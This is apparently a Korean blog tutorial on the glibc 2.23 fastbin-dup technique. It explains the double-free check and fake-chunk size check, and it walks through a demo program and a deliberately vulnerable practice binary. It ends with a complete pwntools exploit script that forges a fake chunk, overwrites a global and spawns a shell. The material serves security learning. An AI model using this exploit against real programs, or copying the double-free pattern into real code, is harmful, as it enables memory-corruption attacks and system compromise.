Fastbin Duplicate
1. Fastbni dup?
Fastbin dup은 Double Free 버그를 이용하여 Free된 청크의 fd포인터를 조작하여 임의의 주소에 잇는 fake chunk를 fastbin 리스트에 연결하는 것이다.
glibc 2.23의 free()함수에서 fastbin에 chunk를 삽입할 때, 중복 삽입을 방지하기 위한 코드는 다음과 같다.
if (__builtin_expect (old == p, 0))
{
errstr = "double free or corruption (fasttop)";
goto errout;
}
현재 해제하려는 청크 p가 fastbin 리스트의 맨 앞(head)에 있는 청크 old와 같은지만 비교한다.
리스트의 맨 앞(old)만 아니라면 동일한 청크를 다시 free 할 수 있다.
→ 해제된 fastbin 힙 청크의 fd를 조작해 임의의 주소에 힙 청크를 할당할 수 있다.
2. 예제 코드
#include <stdlib.h>
#include <stdio.h>
long win;
int main()
{
long *ptr1, *ptr2, *ptr3, *ptr4;
*(&win - 1) = 0x31;
ptr1 = malloc(0x20);
ptr2 = malloc(0x20);
free(ptr1);
free(ptr2);
free(ptr1);
ptr1 = malloc(0x20);
ptr2 = malloc(0x20);
ptr1[0] = &win - 2;
ptr3 = malloc(0x20);
ptr4 = malloc(0x20);
ptr4[0] = 1;
if(win) {
printf("Win!\\n");
}
fprintf(stderr, "ptr1 add : %p\\n", ptr1);
fprintf(stderr, "ptr3 add : %p\\n", ptr3);
return 0;
}
1. fake chunk
fastbin 크기를 가진 힙을 할당할 때는 다음과 같은 조건을 만족해야 한다.
if (victim != 0)
{
if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
{
errstr = "malloc(): memory corruption (fast)";
errout:
malloc_printerr (check_action, errstr, chunk2mem (victim), av);
return NULL;
}
fastbin 리스트에서 꺼내온 청크(victim)의 실제 size 값을 읽어온다.
가져온 size 값으로 fastbin 인덱스를 다시 계산한다.
처음 계산한 인덱스(idx)와 victim에서 읽은 값으로 계산한 인덱스가 일치하는 지 확인한다.
→ 인덱스가 다르면 오류를 발생시킨다.
검증 로직이 없다면 fake chunk의 size에 아무 값이나 넣어도 malloc이 될 것이다.
→ size를 반드시 malloc이 요청한 크기와 동일한 fastbin인덱스로 계산되는 값으로 위조해야 한다.
*(&win - 1) = 0x31;
- &win은 win 변수의 주소이다.
- &win - 1은 win변수의 주소로부터 8byte 이전의 주소를 가리킨다.
- 이 위치에 0x31 값을 쓴다
왜 0x31일까?
malloc(0x20)을 요청하면 16byte 헤더(64bit)를 포함하여 0x30 크기의 청크가 필요하다.
0x31은 0x30 + 0x1 로 PREV_INUSE 비트를 1로 설정하여 이전 청크가 free된 청크임을 나타낸다.

0x31로 설정하면 fake chunk를 정상적으로 불러올 수 있다.
2. double free bug
ptr1 = malloc(0x20);
ptr2 = malloc(0x20);
free(ptr1);
free(ptr2);
free(ptr1);
free(ptr1)을 한번 더 하기 전에 free(ptr2)를 하여 old == p 검사를 우회하여 Double Free를 발생시킨다.
fastbin 리스트는 ptr1 → ptr2 → ptr1 → … 의 순환 구조를 가진다.


0x37185000 --> 0x37185030 --> 0x37185000로 duble free가 발생한 것을 볼 수 있다.
fastbin의 prev_size
fastbin은 병합을 하지 않기 때문에 prev_size 필드가 의미가 없다.
→ 이전 청크의 마지막 user data가 남아있다.
병합을 막기 위한 장치로 PREV_INSUE 비트가 항상 1로 설정되어 있다.
3. Fastbin 리스트 조작
위에서 double free bug를 발생시킨 후 fastbin 리스트는 ptr1 → ptr2 → ptr1 → … 이었다.
이제 ptr1 과 ptr2 를 다시 할당한 뒤의 fastbin 상태를 알아보자.
ptr1 = malloc(0x20);
ptr2 = malloc(0x20);
- 첫 번째 malloc은 fastbin의 head ptr1을 반환한다.
→ fastbin 상태는 ptr2 → ptr1 → NULL

0x37185030 --> 0x37185000 --> …
ptr2 → ptr1 → … 인 것을 확인할 수 있다.
- 두 번째 malloc은 그 다음 head인 ptr2를 반환한다.
- → fastbin 상태는 ptr1 → NULL

0x37185000 --> …
ptr1 → NULL 인 것을 확인할 수 있다.
fastbin에는 free된 ptr1 의 청크가 남아있게 된다.
첫 번째로 할당한 ptr1과 fastbin에 들어있는 ptr1은 동일한 청크를 가리키게 된다.
→ free된 청크의 데이터 조작이 가능하다.
4. fake chunk 주소 덮어쓰기
ptr1[0] = &win - 2
ptr1은 지금 fastbin의 head에 위치한 청크이다.
free된 fastbin 청크의 첫 8byte는 다음 청크를 가리키는 fd로 사용된다.
→ ptr1[0] 은 *(ptr1) 과 같기 때문에 fd 포인터를 조작할 수 있다.
malloc은 청크의 시작 주소 + 16byte(헤더)를 반환한다.
따라서 &win - 2는 fake chunk의 시작 주소가 된다.

최종적으로 fastbin에 있는 ptr1의 fd포인터가 fake chunk인 win을 가리키도록 설정했다.
fastbin 상태는 ptr1 → fake chunk(&win - 2) → … 가 된다.

0x37185000 --> 0x601060
double free된 ptr1의 fd포인터가 fake chunk인 win을 가리키고 있다.
5. win 값 변경
ptr3 = malloc(0x20);
ptr4 = malloc(0x20);
ptr4[0] = 1;
ptr3는 fastbin에 들어있던 ptr1을 다시 반환한다.
→ fastbin의 head는 ptr1의 fd가 가리키던 fake chunk(&win - 2)가 된다.

fastbin의 head가 fake chunk를 가리키고 있다.
ptr4는 fastbin의 head인 fake chunk를 반환한다.
→ ptr4는 win의 주소를 갖게 된다.
그 다음 ptr4[0] = 1 로 win을 1로 설정한다.
최종적으로 if 문이 참이 되어 Win!이 출력된다.
if(win) {
printf("Win!\\\\n");
}

3. 예제 문제
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char name[16];
int overwrite_me;
int main()
{
int ch, idx;
int i = 0;
char *ptr[10];
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
printf("Name : ");
read(0, name, 16);
while (1) {
printf("> ");
scanf("%d", &ch);
switch(ch) {
case 1:
if( i >= 10 ) {
printf("Do not overflow\n");
exit(0);
}
ptr[i] = malloc(32);
printf("Data: ");
read(0, ptr[i], 32-1);
i++;
break;
case 2:
printf("idx: ");
scanf("%d", &idx);
free(ptr[idx]);
break;
case 3:
if( overwrite_me == 0xDEADBEEF ) {
system("/bin/sh");
}
break;
default:
break;
}
}
return 0;
}
1. fake chunk 할당
char name[16];
int overwrite_me;
overwrite_me를 덮어씌워 fake chunk를 만들면 된다.
name이 16byte이기 때문에 chunk의 헤더가 된다.
printf("Name : ");
read(0, name, 16);
fastbin의 prev_size는 의미가 없기 때문에 0으로 채우고size를 0x31로 채운다.
2. malloc
case 1:
if( i >= 10 ) {
printf("Do not overflow\\n");
exit(0);
}
ptr[i] = malloc(32);
printf("Data: ");
read(0, ptr[i], 32-1);
i++;
break;
case 1에서 ptr0부터 malloc(32) 16byte만큼을 할당한다.
그 다음 chunk에 값을 입력 받는다.
3. free
case 2:
printf("idx: ");
scanf("%d", &idx);
free(ptr[idx]);
break;
case 2는 idx를 입력받고 idx에 해당하는 chunk를 free한다.
4. shell 획득
case 3:
if( overwrite_me == 0xDEADBEEF ) {
system("/bin/sh");
}
break;
case 3은 overwrite_me의 값이 0xDEADBEEF일 때 system(’/bin/sh”)을 실행한다.
5. payload
# fake chunk
p.sendlineafter('Name : ', p64(0) + p64(0x31))
fake chunk를 할당한다.
# allocate chunk
p.sendlineafter('> ', '1')
p.sendlineafter('Data: ', '0')
p.sendlineafter('> ', '1')
p.sendlineafter('Data: ', '0')
chunk를 2개 할당한다.
# free ptr1
p.sendlineafter('> ', '2')
p.sendlineafter('idx: ', '0')
# free ptr2
p.sendlineafter('> ', '2')
p.sendlineafter('idx: ', '1')
# free ptr1 (double free)
p.sendlineafter('> ', '2')
p.sendlineafter('idx: ', '0')
fastbin의 double free검증 로직을 우회하여 double free를 발생시킨다.
# overwrite_me (0x6010b0)
# fake chunk is 0x6010a0
# ptr1
p.sendlineafter('> ', '1')
p.sendlineafter('Data: ', p64(0x6010a0))
double free가 발생한 chunk를 다시 할당하고
data에 overwrite_me의 주소값을 입력한다.

overwrite_me의 주소값은 0x6010b0 이지만 이건 chunk data의 시작 주소이다.
fd에는 청크의 헤더 주소가 들어가야 하기 때문에 - 16을 하여 0x6010a0이 data에 들어가게 된다.
# ptr2
p.sendlineafter('> ', '1')
p.sendlineafter('Data: ', '0')
# ptr1
p.sendlineafter('> ', '1')
p.sendlineafter('Data: ', '0')
# overwrite_me (0x6010b0)
p.sendlineafter('> ', '1')
p.sendlineafter('Data: ', p64(0xDEADBEEF))
malloc으로 chunk를 할당하고 overwrite_me의 data에 0xDEADBEEF 값을 입력한다.
p.sendlineafter('> ', '3')
p.interactive()
case 3으로 /bin/sh을 호출한다.
6. 최종 playload
from pwn import *
context.log_level = 'debug'
context. arch = 'amd64'
p = process('./fastbin2')
# fake chunk
p.sendlineafter('Name : ', p64(0) + p64(0x31))
# allocate chunk
p.sendlineafter('> ', '1')
p.sendlineafter('Data: ', '0')
p.sendlineafter('> ', '1')
p.sendlineafter('Data: ', '0')
# free ptr1
p.sendlineafter('> ', '2')
p.sendlineafter('idx: ', '0')
# free ptr2
p.sendlineafter('> ', '2')
p.sendlineafter('idx: ', '1')
# free ptr1 (double free)
p.sendlineafter('> ', '2')
p.sendlineafter('idx: ', '0')
# overwrite_me (0x6010b0)
# fake chunk is 0x6010a0
# ptr1c
p.sendlineafter('> ', '1')
p.sendlineafter('Data: ', p64(0x6010a0))
# ptr2
p.sendlineafter('> ', '1')
p.sendlineafter('Data: ', '0')
# ptr1
p.sendlineafter('> ', '1')
p.sendlineafter('Data: ', '0')
# overwrite_me (0x6010b0)
p.sendlineafter('> ', '1')
p.sendlineafter('Data: ', p64(0xDEADBEEF))
p.sendlineafter('> ', '3')
p.interactive()
셸을 얻은 것을 확인할 수 있다.

'Pwnable > Heap' 카테고리의 다른 글
| Unsafe Unlink (0) | 2026.01.15 |
|---|---|
| Fastbin Consolidate (1) | 2026.01.14 |
| Heap - glibc 2.23 (3) (0) | 2026.01.13 |
| Heap - glibc 2.23 (2) (1) | 2026.01.12 |
| Heap - glibc 2.23 (1) (0) | 2026.01.12 |